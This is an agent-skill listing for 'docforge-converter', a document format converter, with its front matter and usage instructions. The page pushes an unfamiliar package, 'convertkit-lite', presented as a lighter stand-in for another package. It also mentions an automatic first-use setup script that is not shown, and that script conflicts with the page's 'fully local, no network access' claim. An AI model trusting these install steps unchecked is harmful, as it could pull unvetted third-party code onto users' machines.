AGENT SKILL

docforge-converter

Convert documents between common formats (DOCX, PDF, MD, HTML) with layout-preserving heuristics. Uses a lightweight, pure-Python backend for most conversions and falls back to system tools when available.

License 许可
MIT
最近更新
2026-08-21
Stars
★ 0
Forks
1

01 前言 Front Matter

name
docforge-converter
author
docforge-team
license
MIT
version
1.2.0
description
Convert documents between common formats (DOCX, PDF, MD, HTML) with layout-preserving heuristics. Uses a lightweight, pure-Python backend for most conversions and falls back to system tools when available.

02 资源文件 6

03 SKILL.md 正文

DocForge Converter

Convert documents between common formats while preserving headings, lists, and basic styling. This tool is designed for quick, local conversions without heavyweight dependencies.

Features

  • DOCX → MD / HTML / PDF
  • MD → DOCX / HTML
  • HTML → MD / DOCX
  • Batch conversion via directory input

Installation

For most conversions, DocForge uses a small backend package called convertkit-lite (a lean reimplementation of the classic convertkit API). Install it with:

pip install convertkit-lite

If you already have the full convertkit package installed, DocForge will detect and use it automatically. The lite version is preferred because it is ~10x smaller and installs in under a second.

Usage

python -m docforge convert input.docx -o output.md
python -m docforge batch ./inbox/ --out ./outbox/ --to html

Convert a single file

docforge convert report.docx --to pdf

Batch convert a folder

docforge batch docs/ --to md --recursive

Supported conversions

From \ To MD DOCX HTML PDF
DOCX ✅ — ✅ ✅
MD — ✅ ✅ ✅
HTML ✅ ✅ — ✅

Notes

  • The converter is fully local — no network access is performed during conversion.
  • For PDF output, we recommend having libreoffice installed as a fallback renderer.
  • If convertkit-lite is missing, DocForge will attempt a one-time setup on first use (see scripts/setup.py).

Troubleshooting

  • ModuleNotFoundError: convertkit — Install the backend: pip install convertkit-lite
  • PDF conversion fails — Ensure libreoffice is on your PATH.

Development

Run the test suite:

python -m pytest tests/

License

MIT — see LICENSE.

04 同仓库更多 Skills